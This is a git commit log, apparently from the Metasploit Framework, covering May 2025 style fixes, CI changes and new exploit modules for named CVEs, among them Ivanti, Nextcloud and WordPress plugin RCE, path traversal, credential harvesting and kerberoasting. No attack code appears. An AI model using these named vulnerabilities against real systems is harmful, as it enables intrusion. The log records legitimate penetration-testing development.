bcoles ebed18ed5f Bump rubocop from 1.67.0 to 1.75.6 2025-05-18 10:22:03 +10:00
bcoles 5f15fd30e8 Rubocop: Enable Layout/SpaceBeforeBrackets 2025-05-18 10:20:52 +10:00
bcoles aba6af805d modules/auxiliary/admin/networking: Resolve RuboCop violations 2025-05-18 00:49:03 +10:00
bcoles 2ac1ae6a57 modules/auxiliary/admin/mssql: Resolve RuboCop violations 2025-05-17 13:21:09 +10:00
jheysel-r7 71565c6cdc Update modules/exploits/linux/browser/adobe_flashplayer_aslaunch.rb
Co-authored-by: Simon Janusz <85949464+sjanusz-r7@users.noreply.github.com>
2025-05-16 15:07:08 -07:00
jenkins-metasploit b251fc1b63 automatic module_metadata_base.json update 2025-05-16 21:50:56 +00:00
jheysel-r7 e4a5aecf05 Merge pull request #20186 from bcoles/rubocop-modules-auxiliary-server-capture
modules/auxiliary/server/capture: Resolve RuboCop violations
2025-05-16 14:43:20 -07:00
jenkins-metasploit 34be81df28 automatic module_metadata_base.json update 2025-05-16 14:36:42 +00:00
Spencer McIntyre 57c69049f7 Merge pull request #20175 from smashery/ruby-kerberoasting
Ruby kerberoasting
2025-05-16 10:28:52 -04:00
Chocapikk d7a47530ce Add suggestions + rubocop 2025-05-16 12:30:34 +02:00
Martin Sutovsky fb24c55a3e Fixes deleting file 2025-05-16 11:36:32 +02:00
jenkins-metasploit ad0f09c361 automatic module_metadata_base.json update 2025-05-16 08:35:46 +00:00
Diego Ledda c68b10b640 Merge pull request #20164 from bcoles/rubocop-modules-exploits-linux-games
modules/exploits/linux/games: Resolve RuboCop violations
2025-05-16 10:27:24 +02:00
Martin Sutovsky e0383b416f Add report_vuln 2025-05-16 08:56:53 +02:00
h4x-x0r 647545c5ef Update magicinfo_traversal.rb 2025-05-15 22:13:08 +01:00
h4x-x0r bd181f8a13 Update magicinfo_traversal.rb 2025-05-15 22:11:23 +01:00
h4x-x0r 3bd16e9d0e Update thinmanager_traversal_upload.rb 2025-05-15 21:55:58 +01:00
h4x-x0r f802e99004 Update thinmanager_traversal_upload2.rb 2025-05-15 21:55:27 +01:00
h4x-x0r c29efa36a8 Update thinmanager_traversal_delete.rb 2025-05-15 21:55:07 +01:00
h4x-x0r 93a60de77f Update thinmanager_traversal_download.rb 2025-05-15 21:54:31 +01:00
h4x-x0r 0476cd9ad5 Update thinmanager_traversal_download.rb 2025-05-15 21:49:51 +01:00
h4x-x0r fa483fdee7 Update thinmanager_traversal_delete.rb 2025-05-15 21:45:38 +01:00
h4x-x0r 635d25e491 Update thinmanager_traversal_upload2.rb 2025-05-15 21:44:58 +01:00
h4x-x0r a32a8b7036 Update thinmanager_traversal_upload.rb 2025-05-15 20:49:24 +01:00
h4x-x0r 6d2a1e529e Update magicinfo_traversal.rb 2025-05-15 20:11:59 +01:00
jenkins-metasploit f722f39175 automatic module_metadata_base.json update 2025-05-15 17:51:13 +00:00
Spencer McIntyre 5d4aca6c92 Merge pull request #20145 from bcoles/rubocop-modules-auxiliary-spoof
modules/auxiliary/spoof: Resolve RuboCop violations
2025-05-15 13:43:23 -04:00
Spencer McIntyre a7d092701a Add error handling to the module 2025-05-15 13:39:10 -04:00
jenkins-metasploit 2da6eb841b automatic module_metadata_base.json update 2025-05-15 16:52:39 +00:00
Brendan 76471731f9 Merge pull request #20112 from cdelafuente-r7/mod/ivanti/rce/cve_2025_22457
Ivanti Connect Secure Unauthenticated RCE via Stack-based Buffer Overflow CVE-2025-22457
2025-05-15 11:44:49 -05:00
Spencer McIntyre 15f04ca85f Log an error when kerberoasting fails 2025-05-15 12:29:34 -04:00
Spencer McIntyre 890840f82b Merge pull request #20179 from adfoster-r7/update-metasploit-payloads
Update Metasploit payloads release version
2025-05-15 11:28:44 -04:00
bcoles 6ee7d56b1a modules/auxiliary/admin/http: Resolve RuboCop violations 2025-05-16 01:16:37 +10:00
Martin Sutovsky e93b4d472b Fixing disclosure year 2025-05-15 16:49:18 +02:00
Martin Sutovsky 41b35fb333 Addressing comments 2025-05-15 16:48:48 +02:00
bcoles 42a383e4c7 modules/exploits/linux/games: Resolve RuboCop violations 2025-05-16 00:09:30 +10:00
jenkins-metasploit 3c86d8adcd automatic module_metadata_base.json update 2025-05-15 13:23:22 +00:00
adfoster-r7 b67a0f7851 Merge pull request #20194 from adfoster-r7/ensure-thinkphp-rce-runs-on-metasploit-pro
Ensure thinkphp rce runs on metasploit pro
2025-05-15 14:14:33 +01:00
Ashley Donaldson 2ba2d7976a Changes from code review 2025-05-15 22:19:11 +10:00
adfoster-r7 20cda86177 Ensure thinkphp rce runs on metasploit pro 2025-05-15 12:55:12 +01:00
bcoles acc18dbb84 modules/auxiliary/crawler: Resolve RuboCop violations 2025-05-15 21:31:44 +10:00
jenkins-metasploit 00da2fb32f automatic module_metadata_base.json update 2025-05-15 11:20:07 +00:00
Diego Ledda d12b6fe3ba Merge pull request #20163 from bcoles/rubocop-modules-exploits-linux-antivirus
modules/exploits/linux/antivirus: Resolve RuboCop violations
2025-05-15 13:11:08 +02:00
Diego Ledda 97e20e21df Merge pull request #20155 from bcoles/msf-payloadset-recalculate
Msf::PayloadSet#recalculate: Replace delete_if with replace(slice(...))
2025-05-15 13:10:26 +02:00
jenkins-metasploit 72ae91e4bc automatic module_metadata_base.json update 2025-05-15 10:41:52 +00:00
bcoles da261da015 modules/auxiliary/sniffer: Resolve RuboCop violations 2025-05-15 20:38:04 +10:00
msutovsky-r7 c598d8b4b0 Land #20020, adds module for Nextcloud Workflow Remote Code Execution
Add exploit module for the nextcloud workflow vulnerability CVE-2023-26482
2025-05-15 12:31:51 +02:00
bcoles ce0c621cf1 modules/auxiliary/pdf: Resolve RuboCop violations 2025-05-15 20:26:48 +10:00
Christophe De La Fuente 365caab8fc Update the error message in case of Broken pipe error and update the documentation 2025-05-15 12:10:53 +02:00
bcoles 17f9038372 modules/auxiliary/dos/smb/smb_loris: Resolve RuboCop violations 2025-05-15 19:21:57 +10:00
whotwagner 97ecaa7c30 Refactoring indentations 2025-05-15 09:16:26 +00:00
whotwagner 61dc956bb3 Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-05-15 11:15:05 +02:00
whotwagner 72c9d5b038 Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-05-15 11:14:25 +02:00
whotwagner 9b619cbc58 Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-05-15 11:12:05 +02:00
jenkins-metasploit 59a8798dd5 automatic module_metadata_base.json update 2025-05-15 09:01:16 +00:00
Diego Ledda 6c39f9331f Land #20162, modules/auxiliary/sqli: Resolve RuboCop violations
Land #20162, modules/auxiliary/sqli: Resolve RuboCop violations
2025-05-15 10:52:37 +02:00
Metasploit 308c794c8f Bump version of framework to 6.4.65 2025-05-15 03:33:18 -05:00
jenkins-metasploit f83d155570 automatic module_metadata_base.json update 2025-05-15 08:31:24 +00:00
Diego Ledda f7e7b5ad14 Land #20154, modules/auxiliary/dos: Resolve RuboCop violations
Land #20154, modules/auxiliary/dos: Resolve RuboCop violations
2025-05-15 10:22:51 +02:00
jenkins-metasploit 0093512369 automatic module_metadata_base.json update 2025-05-15 05:30:47 +00:00
msutovsky-r7 e3649b31fe Land #20123, adds module for path traversal and credential harvester in PowerCom UPSMON Pro
POWERCOM UPSMON PRO Path Traversal (CVE-2022-38120) and Credential Harvester (CVE-2022-38121) Module
2025-05-15 07:23:07 +02:00
h4x-x0r 3f4c8a5161 Update upsmon_traversal.rb 2025-05-15 04:28:53 +01:00
adfoster-r7 520b9dfc0a Merge pull request #20111 from cdelafuente-r7/fix/exploit_attempts
Fix issue that prevented to correctly register exploit attempts
2025-05-15 00:20:12 +01:00
bcoles 8ea5d3214f modules/auxiliary/dos: Resolve RuboCop violations 2025-05-15 08:43:24 +10:00
Chocapikk 75a3fa7ad7 Add CVE-2025-27007 in existing exploit(multi/http/wp_suretriggers_auth_bypass) module 2025-05-14 19:29:03 +02:00
Spencer McIntyre 1c94b2c8dc Merge pull request #20181 from bwatters-r7/fix/wordpress_login
Change check for redirect in wordpress_login to be less specific
2025-05-14 12:50:43 -04:00
bcoles 3ae2a8fa8c modules/auxiliary/server/capture: Resolve RuboCop violations 2025-05-15 00:26:16 +10:00
Chocapikk 1888abaa4d Add WP Depicter Plugin Unauth SQL Injection (CVE-2025-2011) 2025-05-14 15:54:40 +02:00
whotwagner 0e0b84d252 Error message if nextcloud-upload fails 2025-05-14 13:53:59 +00:00
jenkins-metasploit ba25dd48b3 automatic module_metadata_base.json update 2025-05-14 13:41:16 +00:00
whotwagner 2259de33c1 Fixed a txpo in nextcloud_workflows_rce.md 2025-05-14 13:40:47 +00:00
msutovsky-r7 fe5f56cac0 Land #20159, adds module for privilege escalation in Wordpress (CVE-2025-2563)
Add Unauthenticated privesc for WP User Registration & Membership plugin (CVE-2025-2563)
2025-05-14 15:33:30 +02:00
jenkins-metasploit 90f04f6fb5 automatic module_metadata_base.json update 2025-05-14 08:58:46 +00:00
Diego Ledda 1f230f3731 Land #20153, modules/auxiliary/dos/http: Resolve RuboCop violations
Land #20153, modules/auxiliary/dos/http: Resolve RuboCop violations
2025-05-14 10:45:03 +02:00
Diego Ledda 621840e9df Land #20152, modules/auxiliary/dos/windows: Resolve RuboCop violations
Land #20152, modules/auxiliary/dos/windows: Resolve RuboCop violations
2025-05-14 10:42:58 +02:00
jenkins-metasploit d294cc6029 automatic module_metadata_base.json update 2025-05-14 06:10:17 +00:00
msutovsky-r7 7d8d0230cb Land #20026, adds module for CVE-2024-57487
New Exploit Module & Documentation for CVE-2024-57487
2025-05-14 08:00:20 +02:00
Brendan 13d18f2c83 Update lib/msf/core/exploit/remote/http/wordpress/login.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2025-05-13 17:32:48 -05:00
jenkins-metasploit 33e3e0851f automatic module_metadata_base.json update 2025-05-13 21:58:13 +00:00
Brendan 1982d81e22 Merge pull request #20098 from smashery/execute-assembly32
Execute assembly32
2025-05-13 16:49:25 -05:00
jenkins-metasploit a041b21cc2 automatic module_metadata_base.json update 2025-05-13 20:11:39 +00:00
Spencer McIntyre 3d67f9ef55 Merge pull request #20161 from bcoles/rubocop-modules-auxiliary-fuzzers
modules/auxiliary/fuzzers: Resolve RuboCop violations
2025-05-13 16:04:00 -04:00
Chocapikk 88ffe892e0 Remove lower bound 2025-05-13 21:48:49 +02:00
Valentin Lobstein 7f98f2fad7 Update modules/exploits/multi/http/wp_user_registration_membership_escalation.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-05-13 21:42:10 +02:00
Chocapikk c415675c39 Reduce wordpress_version calls 2025-05-13 21:42:10 +02:00
Chocapikk a2ff0c1f92 Apply suggestion to store created WordPress admin creds 2025-05-13 21:42:09 +02:00
Chocapikk e335841bb0 Add Unauthenticated privesc for WP User Registration & Membership plugin (CVE-2025-2563) 2025-05-13 21:42:09 +02:00
aaryan-11-x 1e523e4e0b MsfTidy Fixes again 2025-05-13 23:54:36 +05:30
jenkins-metasploit 9379a2af4f automatic module_metadata_base.json update 2025-05-13 16:34:11 +00:00
Brendan b41f0a4430 Merge pull request #20178 from bcoles/modules-post-windows-gather-credentials
modules/post/windows/gather/credentials: Update PackRat module descriptions
2025-05-13 11:25:50 -05:00
jenkins-metasploit 432c7e8607 automatic module_metadata_base.json update 2025-05-13 16:01:34 +00:00
bwatters-r7 ce8ceaddbc Change check for redirect to be less specific 2025-05-13 10:59:16 -05:00
Brendan cb6495e5bc Merge pull request #20146 from Chocapikk/wp_suretriggers_auth_bypass
Add WP SureTriggers ≤1.0.78 admin-creation & RCE module (CVE-2025-3102)
2025-05-13 10:53:44 -05:00
Christophe De La Fuente 3d121839c8 Fix from code review #2 2025-05-13 17:17:41 +02:00
adfoster-r7 050e677577 Update Metasploit payloads release version 2025-05-13 14:56:21 +01:00
whotwagner 22b80bbef3 Added modules_metadata_base 2025-05-13 13:52:14 +00:00
whotwagner 09fc435346 Removed db/modules_metadata_base.json from 2025-05-13 13:51:05 +00:00
whotwagner 09aaf5865c Rearranged code and removed wait_for_payload_session 2025-05-13 13:48:56 +00:00
whotwagner ad9651db5d Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-05-13 13:48:56 +00:00
whotwagner 9b0aee41f4 Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-05-13 13:48:56 +00:00
whotwagner 83786100b3 Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-05-13 13:48:56 +00:00
whotwagner 2ba8e1c255 Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-05-13 13:48:56 +00:00
whotwagner 6aa2170fbc Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-05-13 13:48:56 +00:00
whotwagner c9521a0eab Removed thread from exploit_nextcloud_workflows 2025-05-13 13:48:56 +00:00
whotwagner 4a5d556671 Removed linux_dropper from exploit_nextcloud_workflows 2025-05-13 13:48:56 +00:00
whotwagner d0a3eb4332 Fixed refacturing-bugs 2025-05-13 13:48:56 +00:00
whotwagner 92e30b8391 Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-05-13 13:48:56 +00:00
whotwagner 5a75e0bb2d Reformatting res.code for login-failure 2025-05-13 13:48:56 +00:00
whotwagner fde19395ce Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
2025-05-13 13:48:56 +00:00
whotwagner b1e3b0708e Fixed get_html_document in parse_tokens 2025-05-13 13:48:56 +00:00
whotwagner 2245516a21 Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-05-13 13:48:56 +00:00
whotwagner 14daed78b2 Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
2025-05-13 13:48:56 +00:00
whotwagner 4a08b93542 Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
2025-05-13 13:48:56 +00:00
whotwagner 5f42b3439e Update modules/exploits/unix/webapp/nextcloud_workflows_rce.rb
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
2025-05-13 13:48:56 +00:00
whotwagner e6781e60f0 Changed ranking to Excellent 2025-05-13 13:48:36 +00:00
jenkins-metasploit e819362398 automatic module_metadata_base.json update 2025-05-13 13:45:30 +00:00
bcoles a9447e23f6 modules/auxiliary/dos/windows: Resolve RuboCop violations 2025-05-13 23:28:13 +10:00
jenkins-metasploit efe7aecacf automatic module_metadata_base.json update 2025-05-13 13:11:10 +00:00
bcoles 5abf5480d5 modules/post/windows/gather/credentials: Update PackRat module descriptions 2025-05-13 23:10:04 +10:00
Brendan 5faa0a5b6b Merge pull request #19777 from msutovsky-r7/linqpad_deserialization
Linqpad deserialization persistence
2025-05-13 08:03:30 -05:00
Martin Sutovsky 939d997b8a Adds documentation 2025-05-13 14:57:55 +02:00
Martin Sutovsky bfa3b639fd Clinic Pacient Management System SQLi to RCE module 2025-05-13 13:09:29 +02:00
Christophe De La Fuente 4aea95f93c Fix from code review 2025-05-13 12:54:31 +02:00
jenkins-metasploit 6c41e9b248 automatic module_metadata_base.json update 2025-05-13 10:32:58 +00:00
bcoles b0682e3db0 spec: modules: Enable instantiation tests for Evasion and Post modules 2025-05-13 20:31:16 +10:00
Diego Ledda 619a284408 Land #20156, modules/post: Resolve RuboCop violations and typos
Land #20156, modules/post: Resolve RuboCop violations and typos
2025-05-13 12:24:41 +02:00
bcoles f53fb9e844 modules/auxiliary/spoof: Resolve RuboCop violations 2025-05-13 19:36:21 +10:00
Ashley Donaldson 806d0ec557 Kerberoasting documentation 2025-05-13 18:26:25 +10:00
Ashley Donaldson 6d3fc7b732 Neatening kerberoasting modifications 2025-05-13 18:26:25 +10:00
Ashley Donaldson abba784190 Fix AES kerberoast hashcat format. Change when hashes are displayed in module. 2025-05-13 18:26:25 +10:00
Ashley Donaldson 365db3c52e Support different hash type JTR formats 2025-05-13 18:26:25 +10:00
Ashley Donaldson 1e56168905 Move kerberoasting to Ruby code 2025-05-13 18:26:25 +10:00
msutovsky-r7 509ade7146 Land #20010, adds another Powershell signature for SSH platform
Add Powershell Windows signature for SSH platform identification
2025-05-13 07:08:38 +02:00
msutovsky-r7 3af76cfa00 Renames incorrect option in documentation
Co-authored-by: Brendan <bwatters@rapid7.com>
2025-05-13 06:30:00 +02:00
bcoles 81a405355c modules/post: Resolve RuboCop violations and typos 2025-05-13 09:23:28 +10:00
Metasploit 3d1646d8f2 Bump version of framework to 6.4.64 2025-05-12 12:23:54 -05:00
jenkins-metasploit 3c37c20a8c automatic module_metadata_base.json update 2025-05-12 17:13:26 +00:00
adfoster-r7 cb7ff313ad Merge pull request #20173 from adfoster-r7/update-web-crawlers-to-support-http-logging
Update web crawlers to support HTTP logging
2025-05-12 18:05:38 +01:00
adfoster-r7 0b0132c11a Update web crawlers to support HTTP logging 2025-05-12 17:46:20 +01:00
adfoster-r7 f181cbbeff Merge pull request #20168 from adfoster-r7/update-ruby-prof-version
Update ruby prof version
2025-05-12 17:00:19 +01:00
adfoster-r7 ebae68db00 Merge pull request #20167 from adfoster-r7/update-rex-sslscan
Update rex sslscan
2025-05-12 17:00:12 +01:00
adfoster-r7 558b1e8ebc Update Ruby-prof version 2025-05-12 16:37:01 +01:00
adfoster-r7 bf5f6b4c2e Update rex sslscan 2025-05-12 16:35:31 +01:00
dwelch-r7 e5d8f74478 Merge pull request #20169 from adfoster-r7/update-windows-2019-ci-usage
Update windows 2019 CI usage
2025-05-12 16:18:59 +01:00
adfoster-r7 4ccf11981e Update windows 2019 CI usage 2025-05-12 16:00:52 +01:00
jenkins-metasploit 8cbfdecf2e automatic module_metadata_base.json update 2025-05-12 14:12:58 +00:00
Spencer McIntyre 9363dc4759 Merge pull request #20143 from bcoles/rubocop-modules-auxiliary-analyze
modules/auxiliary/analyze: Resolve RuboCop violations
2025-05-12 10:05:17 -04:00
lafried ce5896d21b Update platform.rb
Removed unnecessary word from pattern
2025-05-12 12:38:45 +01:00
jenkins-metasploit 56ab89b2dc automatic module_metadata_base.json update 2025-05-12 10:37:56 +00:00
msutovsky-r7 cbb4934882 Land #20133, resolves Rubocop violations for modules/auxiliary/cloud
modules/auxiliary/cloud: Resolve RuboCop violations
2025-05-12 12:30:14 +02:00
jenkins-metasploit 57032a30e2 automatic module_metadata_base.json update 2025-05-12 08:04:26 +00:00
msutovsky-r7 8c647cd1ad Land #20118, changes target option for smb_to_ldap module
Fix the smb_to_ldap module's missing target option
2025-05-12 09:56:06 +02:00
Chocapikk 40002f87f4 Apply suggestion to store created WordPress admin creds 2025-05-11 17:53:06 +02:00
Valentin Lobstein 604672433a Update modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2025-05-11 17:19:12 +02:00
Valentin Lobstein ca6e413bea Update modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2025-05-11 17:18:51 +02:00
Valentin Lobstein 04915c8c95 Update modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2025-05-11 17:18:37 +02:00
Valentin Lobstein 5c8013ad92 Update modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2025-05-11 17:18:29 +02:00
bcoles 8d534e3251 Msf::Module::Platform#find_platform: Match known platforms before search 2025-05-11 00:05:44 +10:00
bcoles 5062f596fd modules/exploits/linux/browser: Resolve RuboCop violations 2025-05-10 18:15:50 +10:00
bcoles 16ae7af550 modules/exploits/linux/antivirus: Resolve RuboCop violations 2025-05-10 18:15:04 +10:00
bcoles c3f5aa41dc modules/auxiliary/sqli: Resolve RuboCop violations 2025-05-10 16:11:25 +10:00
bcoles 75c2104625 modules/auxiliary/fuzzers: Resolve RuboCop violations 2025-05-10 14:09:40 +10:00
h4x-x0r e9c88b55f2 cleanup 2025-05-09 22:39:30 +01:00
h4x-x0r 803581ab81 CVE-2024-7399 2025-05-09 17:27:22 +01:00
h4x-x0r e46079ed61 Update upsmon_traversal.rb 2025-05-09 16:52:23 +01:00
jenkins-metasploit b5129fe198 automatic module_metadata_base.json update 2025-05-09 14:10:40 +00:00
Spencer McIntyre db75455d2b Merge pull request #20128 from bcoles/rubocop-modules-auxiliary-bnat
modules/auxiliary/bnat: Resolve RuboCop violations
2025-05-09 10:02:49 -04:00
jenkins-metasploit 3ff8262865 automatic module_metadata_base.json update 2025-05-09 13:41:49 +00:00
Spencer McIntyre 9ee2ec861f Merge pull request #20120 from bcoles/rubocop-modules-post-windows
modules/post/windows: Resolve RuboCop violations
2025-05-09 09:33:17 -04:00
bcoles d7506c2411 Msf::PayloadSet#recalculate: Replace delete_if with replace(slice(...)) 2025-05-09 22:32:51 +10:00
adfoster-r7 b1101e96f3 Merge pull request #20142 from L-codes/fix_didyoumean_notfound
fix DidYouMean notfound
2025-05-09 09:40:35 +01:00
bcoles 45336dd612 modules/post/windows: Resolve RuboCop violations 2025-05-09 10:51:17 +10:00
Spencer McIntyre b7df5210a9 Merge pull request #20126 from bcoles/lib-msf-core-post-linux-kernel-yama
Msf::Post::Linux::Kernel: Add yama_ptrace_scope method
2025-05-08 13:55:44 -04:00
bcoles 1890f8a175 modules/auxiliary/dos/http: Resolve RuboCop violations 2025-05-09 00:08:33 +10:00
cgranleese-r7 54cdcc6731 Merge pull request #20151 from adfoster-r7/update-installer-versions-docs
Update installer version docs
2025-05-08 12:18:31 +01:00
adfoster-r7 3f3b997fcf Update installer version docs 2025-05-08 12:00:34 +01:00
Metasploit d13ffe57db Bump version of framework to 6.4.63 2025-05-08 05:24:43 -05:00
cgranleese-r7 ba7be5b25a Merge pull request #20148 from adfoster-r7/add-additional-sni-support
Add additional sni support
2025-05-08 11:19:37 +01:00
adfoster-r7 e4d66e8c55 Update version for rex-sslscan bump 2025-05-08 10:56:07 +01:00
adfoster-r7 cb02d81a58 Merge pull request #20150 from adfoster-r7/remove-end-of-life-ubuntu-gh-action
Remove end of life ubuntu gh action
2025-05-08 10:40:36 +01:00
adfoster-r7 96b06acfa0 Remove end of life ubuntu gh action 2025-05-08 10:36:43 +01:00
adfoster-r7 e049b77336 Add additional SNI support to the http crawler 2025-05-08 00:29:42 +01:00
Chocapikk 21a9fa848c Add credits 2025-05-07 23:59:06 +02:00
Chocapikk 879027bd5a Update 2025-05-07 23:50:20 +02:00
Valentin Lobstein 2e9d7db238 Update modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-05-07 23:34:58 +02:00
Valentin Lobstein 23809f0d08 Update modules/exploits/multi/http/wp_suretriggers_auth_bypass.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-05-07 23:34:51 +02:00
adfoster-r7 1be3fb3c93 Update auxiliary web http to support sni 2025-05-07 21:22:13 +01:00
h4x-x0r 1cc0269edf more versions tested 2025-05-07 18:05:57 +01:00
h4x-x0r b5989070d0 path update 2025-05-07 18:05:04 +01:00
h4x-x0r 9ab2acc50f updated 2025-05-07 18:03:58 +01:00
Chocapikk 4d0c7bb71a Add WP SureTriggers ≤1.0.78 admin-creation & RCE module (CVE-2025-3102) 2025-05-07 17:45:30 +02:00
jenkins-metasploit 1f52a28da1 automatic module_metadata_base.json update 2025-05-07 13:04:34 +00:00
cgranleese-r7 eb88eb5bc1 Merge pull request #20119 from bcoles/rubocop-modules-post-linux
modules/post/linux: Resolve RuboCop violations
2025-05-07 13:56:34 +01:00
bcoles 126682d72e modules/auxiliary/analyze: Resolve RuboCop violations 2025-05-07 21:38:27 +10:00
jenkins-metasploit af657c4b26 automatic module_metadata_base.json update 2025-05-07 09:32:41 +00:00
cgranleese-r7 5127207dc1 Land #20134, modules/auxiliary/parser: Resolve RuboCop violations 2025-05-07 10:24:59 +01:00
jenkins-metasploit 4837cf72d2 automatic module_metadata_base.json update 2025-05-07 09:03:30 +00:00
cgranleese-r7 49c041f291 Land #20137, modules/exploits/unix/dhcp: Resolve RuboCop violations 2025-05-07 09:55:41 +01:00
h4x-x0r 60668f3e26 CVE-2023-2917 2025-05-07 04:12:53 +01:00
h4x-x0r 8b94a560e7 Adjusted path 2025-05-07 03:53:36 +01:00
h4x-x0r 0491d3894e CVE-2023-2915 2025-05-07 03:45:59 +01:00
h4x-x0r c034c6490c CVE-2023-27856 2025-05-06 20:04:54 +01:00
h4x-x0r 2fdcb46918 CVE-2023-27855 2025-05-06 19:28:58 +01:00
aaryan-11-x 30c175675b RuboCop Fixes again 2025-05-06 23:53:24 +05:30
aaryan-11-x 67942d5159 Made changes as requested by moderator 2025-05-06 23:35:07 +05:30
jenkins-metasploit 863487683e automatic module_metadata_base.json update 2025-05-06 17:10:06 +00:00
Spencer McIntyre b52340440d Merge pull request #20135 from bcoles/rubocop-modules-auxiliary-voip
modules/auxiliary/voip: Resolve RuboCop violations
2025-05-06 13:02:24 -04:00
msutovsky-r7 b799a13dd6 Land #20009, corrects list formatting and adds missing links
Meterpreter Configuration Documentation Page: Correct list formatting and add missing links
2025-05-06 18:03:57 +02:00
jenkins-metasploit f245202779 automatic module_metadata_base.json update 2025-05-06 14:51:00 +00:00
bcoles 5c4108d7c5 modules/auxiliary/voip: Resolve RuboCop violations 2025-05-07 00:47:05 +10:00
Spencer McIntyre ba9ecec381 Merge pull request #19952 from jheysel-r7/get_naa_creds_via_relay
Add SMB to HTTP relay support for get_naa_creds
2025-05-06 10:43:10 -04:00
jenkins-metasploit 8f049fb33b automatic module_metadata_base.json update 2025-05-06 14:30:36 +00:00
Spencer McIntyre 4ed90bb73a Merge pull request #20136 from bcoles/rubocop-modules-exploits-unix-fileformat
modules/exploits/unix/fileformat: Resolve RuboCop violations
2025-05-06 10:22:56 -04:00
bcoles 37c52bb4c7 modules/exploits/unix/dhcp: Resolve RuboCop violations 2025-05-07 00:22:34 +10:00
jenkins-metasploit 74fa3d018c automatic module_metadata_base.json update 2025-05-06 13:43:47 +00:00
msutovsky-r7 c431ae830c Land #20130, resolves Rubocop violations in auxiliary/client
modules/auxiliary/client: Resolve RuboCop violations
2025-05-06 15:36:06 +02:00
bcoles e5138fcd01 modules/exploits/unix/fileformat: Resolve RuboCop violations 2025-05-06 23:30:37 +10:00
bcoles 6db17f03be modules/auxiliary/parser: Resolve RuboCop violations 2025-05-06 22:56:58 +10:00
bcoles fd8343a706 modules/auxiliary/cloud: Resolve RuboCop violations 2025-05-06 22:49:03 +10:00
Martin Sutovsky d16c639278 Adds cleanup option in documentation 2025-05-06 09:07:21 +02:00
jenkins-metasploit 61099582d6 automatic module_metadata_base.json update 2025-05-06 06:44:10 +00:00
Martin Sutovsky 24a86cd74a Refactoring based on comments 2025-05-06 08:43:57 +02:00
msutovsky-r7 2635b8fab4 Land #20124, adds auxiliary module for path traversal in Sante PACS Server
Sante PACS Server Path Traversal (CVE-2025-2264) Module
2025-05-06 08:31:36 +02:00
msutovsky-r7 0cbe2cb6b6 Land #20129, resolves Rubocop violations in modules/exploits/unix/x11
modules/exploits/unix/x11: Resolve RuboCop violations
2025-05-06 08:28:51 +02:00
h4x-x0r 4c03d3240a Update upsmon_traversal.rb 2025-05-06 04:06:14 +01:00
h4x-x0r 0c2ba466c6 Update pacsserver_traversal.rb 2025-05-06 04:02:33 +01:00
jheysel-r7 5b4c0b6748 Merge pull request #6 from smcintyre-r7/pr/collab/19952
Pr/collab/19952
2025-05-05 15:26:03 -07:00
jenkins-metasploit 08cd1d0e89 automatic module_metadata_base.json update 2025-05-05 22:07:59 +00:00
adfoster-r7 355dfdda1f Merge pull request #20122 from bcoles/rubocop-modules-auxiliary-vsploit
modules/auxiliary/vsploit: Resolve RuboCop violations
2025-05-05 22:56:29 +01:00
Spencer McIntyre 1071c7e6b7 Merge pull request #20127 from bcoles/lib-msf-core-option_container
Msf::OptionContainer: Replace `.sorted` Array attribute with `self.sort`
2025-05-05 14:15:04 -04:00
Spencer McIntyre be8f4f929c Fix an issue in the ESC8 module 2025-05-05 13:40:33 -04:00
adfoster-r7 c9fb08b422 Merge pull request #20132 from bcoles/spec-acceptance
spec: acceptance: remove RHOST_REGEX constant
2025-05-05 18:19:41 +01:00
Spencer McIntyre ae412f0154 Promote the DOMAIN option
LDAP now uses the LDAPDomain option but this module intends to use it
for both LDAP and HTTP so deregister LDAPDomain, and reregister DOMAIN
as a non-advanced, required option.
2025-05-05 11:16:35 -04:00
Spencer McIntyre d95146e315 Use retry to speed things up but also wait longer 2025-05-05 11:06:09 -04:00
Spencer McIntyre 6ab275a120 Remove a couple of debug prints 2025-05-05 10:58:41 -04:00
bcoles 503d8b8931 spec: acceptance: remove RHOST_REGEX constant 2025-05-05 22:23:14 +10:00
